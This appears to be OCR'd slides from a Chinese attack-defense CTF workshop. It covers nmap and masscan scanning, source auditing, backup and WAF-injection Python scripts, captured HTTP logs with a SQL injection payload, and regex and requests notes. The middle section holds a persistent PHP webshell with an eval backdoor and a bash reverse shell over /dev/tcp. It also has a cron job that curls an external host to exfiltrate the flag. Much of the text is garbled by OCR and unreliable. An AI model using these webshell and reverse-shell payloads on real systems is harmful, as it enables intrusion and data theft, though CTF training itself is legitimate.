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Nmap

nmapE—MEiER R, RN _ EERA RIS EE R, HERRLRSS T TER

ikixim, FEENMTENIEI T MEER R (X Z2IFFRfingerprinting), BREMNEEIER Y ERIERG
Z—, UKBLUHENEBRRZE,

nMmapZas

apt-get install nmap
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nmapERiE<S

PING Scan (sP)

pingiFiEREF I EI EEFEaEMET nmap -sP 192.168.1.1/24
Tcp SYN Scan (sS)

AEEHBENFEREER nmap -sS 192.168.1.1/24

namp -piEEm i3

nmap -sS-p 80,8080,3306192.168.1.1/24
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Masscan

B A readme(https://github.com/robertdavidgraham/masscan)

This is an Internet-scale port scanner.lt can scan the entire Internet in under 6 minutes,transmitting
10 million packets per second,from a single machine.

R

sudo apt-get install git gcc make libpcap-dev

git clone https://github.com/robertdavidgraham/masscancd masscan
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Masscan{ss g
FERFEELTFnmap, 3iEiEEMESBEIRfEEIRmasscan -p80,8080-8100192.168.1.1/24 --

rate 1000

Pl ]

HenFER

rate}gEEZ (10008 =)




Cobra
https://github.com/WhaleShark-Team/cobra

python cobra.py -t/path
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T&k5%4%E: https://sourceforge.net/projects/rips-scanner/files/

File: D:he r3timeclockiwork ph
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Find+ xargs+ grep

find. - name"*.php"| xargs grep” - in' eval ('




def BackUp(self,

os.system('tar -zcvf {}backup/website/website back dir.tar.pgz > /dev/null 2>&1;".format(remote _file path, back dir.strip('\n’)))
os.system('cd /tmp/website forback/;tar -zxvf {}backup/website/website back dir.tar.gz > /dev/null 2>&1;"'.format(remote file path))

print("[-] backup error")
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MysglBackUp(self):
mysql_username, mysql _password

mysql username, mysql password - open('mysql.txt’, 'r } read().split("
print("mysql_username: \" mysql_password: .format (mysql_username, mysql_password))

=TT

reset_flag - input("EEEEMNYSqIFFPEHFBE?[y/n]")
reset_flag

reset_flag v

mysql username, mysql password - input("MYsql username\n"), input("MYsql passwd\n™)
open( ‘mysql.txt’, ‘w+').write(mysql username + " " + mysql_password)

mysql username it mysql password il

print("iEEFHEH mysql_username, mysql _password, ")

exit()

stdin, stdout, stderr - self.sshclient.exec _command(“mkdir {}backup/mysqlB/;mysqldump - | --all-databases » {}backup/mysqlB/all.sql; " .format
print (stdout.read())

print(“error”)

%ﬁ?:a
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{?php

set_time_limit(e);
W B e "‘.'ﬂ"l i
$filel $root. . log';
. | a1 $file2 - $root '.config.php’;
ignore_user_abort(1); e g ;
$passwd-"wz";
: SmyPort
Jnllf"k( LE 3 $myPasskord
._ . Lcurl ‘eurl 4.4.181.1/Flag WV %\ /bin/cur
freserve_bash “bash -c "'bash -i »&/dev/tcp/ S
$codel = “<iphp system('echo + + = ecurl
[echo
waHAgaWY obWQ1KCRFUESTVF twY XNz XSk SPTEiMnR JZmI4Z jVmZT
fF =) base&d -d > Svar/www/ html/head.php
('){ | erontab"’;

if{mdS{"%_POST[pass])===\"2dcfbBf5febcBIT97d6BaBT335becBSE

2

fi Ut C en ' | L o e ] o 2 + 351y, fn;odel "’r-'up define('ROOT_PATH', dirname{__FILE__ ).DIRECTORY_SEPARATOR);require(’'.log'); ";
‘le_p t_-onth ts{ PﬂtthEbEhEll-Php ! <-Php @eva-(i_POST[ paSSWUPd ])J-> & $str="echo # & = *» (gcho aGFjal3ieVIsenk=) DMELJ-ﬂ:.ermwﬁln]PEﬁu.tt |crontab™;
system($str);

rfwe/rtml/ BE touc
s($filel,$codel);
($*11u2 $codel);

Cyber Works:-
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WebRzFRHHER GE (R : ISR EDIZSE, B2 Web Application Firewall &R

WAF), FRBEEPrLIAI—MRE: WebN A KIEE @I AT — RS FTAIHTTP/HTTPSHYR £ 5RHER

KT )/9Web M FRARIFE—F0™ &

def AddWaf(self, target file path, waf path,ip filter):
raw_file cpﬁn(target flle path ‘r+')
content - raw_file.read()
waf_sentence - "<?php include(\"" + waf_path + "\");include(\"" + ip_filter

waf_sentence content:

content re.sub(r'<\?\s"php', waf_sentence, content)

raw_file.seek(@, @)
raw_file.write(content)

raw_file.close()




N
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CONTENT-TYPE: application/x-www-form-urlencoded

ACCEPT-LANGUAGE: zh-CN,zh;g=0.9,en;q=0.8,ja;q=0.7

CACHE-CONTROL: max-age=@

REFERER: http://1@.8.65.4/login.php

USER-AGENT: Mozilla/5.8 (Macintosh; Intel Mac 0S X 18_13 6) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/69.08.3497.92 Safari/537.36

ACCEPT: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
ACCEPT-ENCODING: gzip, deflate

CONNECTION: close

HOST: 1@.8.94.4

password=18&userid=1

2018/09/16 ©2:34:22 -- [Danger:flag]

POST /operation/search.php HTTP/1.1 upload_key>>><<< upload_filename>>><<< upload_typed>>><<<
CONTENT-LENGTH: 53

COOKIE: PHPSESSID=vamtuto®mlSm98naoq4jdSubbS

CONTENT-TYPE: application/x-www-form-urlencoded; charset=UTF-8

ACCEPT-LANGUAGE: zh-CN,zh;q=8.9,en;q=0.8,ja;q=0.7

REFERER: http://10.8.64.4/manage.php

X-REQUESTED-WITH: XMLHttpRequest

USER-AGENT: Mozilla/5.@ (Macintosh; Intel Mac 0S X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/69.8.3497.92 Safari/537.36

ACCEPT: */*

ACCEPT-ENCODING: gzip, deflate

CONNECTION: close

HOST: 10.8.94.4

id=hotdog#27+union+select+flag+from+flag.flagk3B%23--

Cyber Worksh
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< tphp

ini set(“display_errors”,

ftdir ' ftmp/Pcaplogs ' ;

1s dir($dir) mkdir($dir,
$dir ' ftmp/upload moyan”;
is _dir($dir) mkdir($dir, g 1 );

(! function s’ ao!l‘hilng }} {
function getPostLog [: t .|"|'|-,-(),',-" ){
$_§_,F‘D‘E.T v(% d.:ula) 7 ':( post.') : $ data;
$ rs - arr ()
(i__gPU‘_-.[ $name - $value){
( is_array($value) ){
$ rs[] getPostlog($value, $name) ;

( 'em '.'-_,-(?._ddld) M

$ rs[] - $n."[" .$name."]"."'=" %value;

$ rs[] fname. '=" . $value;

(! function exists(’'get http raw')) {
function get http raw() {

{$bool) {

isset($flag_moyan)){
$flag_moyan

v();
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IENZRIXT (regular expression)igiR ¥ —Fh==RF R ILECAVIET, (pattern), AT LA ARG E— NEED

2EEMH. BRENFREREENENTEFRNEFEENFHIFHS,

IENZFRIANRHEBEFAF (BIAN=FrTaZlz) LUREIAF T RRA " TTF T BRI R, Rl

SR AN BRI RS SG S, ENESAREN—MER, SR SER SHg RS

FrERITILEC,




CEMAFRFERNERMAE. FRIRE T RegExpXISRAIMultiline/BiE, NI$tEILES \n'S\r',

RE— N FRIARRIFHAFIERMVE. FRANILERIBLIEER.

CECRIEA FRELTRHESIR.
PCECRIEAY FRIEX RS,
TLECRR R TAN N Z SM R ER AT,
tRE— M HESRIATAIFHA.

PCECRIEA FRANTRE—R, SHEA— M IFREIRER.

BT— M fARCABEAFN. BIRXFMA. BAESIA. 8/ UAHIENXA. fig, n'EEFME ', \n'EEHRiTHA.

CEIAFAFBRNFHAUE, MIFESESRANPER, SRFSESRSRANPERR, RrMERZSESTREAAFNFHES.

IRCPRERFRIATURIFA.

TEBARNINZ BRI — g,

[a-Z][A-Z][0-9]
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RN M

\W=>LEEEAEFE, 85, Tk, XFHIFFH

b

\S =>LEESARREHAFTHIF T
\D=> LA RIF 1T

\B =>[LECA R IR LB SRV E

[~ x]=>PLECER 7 xXASMNYER TR
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PLECIREPRE

{n}=>E8nX

{n}=>EBEnNREEZIX

{nh,m}=>FEnEImX




=R oyl

http[s]?://(?:[a-zA-Z]|[0-9]|[$- @.&+]|['*\(\).]]|(?:%[0-9a-fA-F][O-9a-fA-F]))+urlitit PLfL

(\d{1,30\.){3\d{1,3} ipitit PUEG

(flag\{[0-9a-f]\}) CESREAZTRIflag




H TR ERSSAR |

Python RE

re.searchjgi%
re.searchiAfEE N F R ERFIREIFE— 1 AIIRILLEC,
re.search(pattern,string,flags=0)

re.matchiRzq

re.match= AR ELE— MR, MRARERMEILEMAIIANE, match(ziiREINone

re.match RILECFAF RN, MRFAEHRAFTFEENRIAT, NITEKRY, HREREINone;m
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requests.get(url)
requests.post(url)
requests.Session()

s.get(url)

s.post(url)




params =>GET&#{

data =>POST&#

headers =>IgEIERKBAISLER

timeout =>&/XiaKAIERTATIE

proxies =>&RiEKAINEIZRE
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IR[El{E
content/text =>15KROIPAS

status code =>iREEIXZEH

cookies =>iR[EEMIcookie(SE
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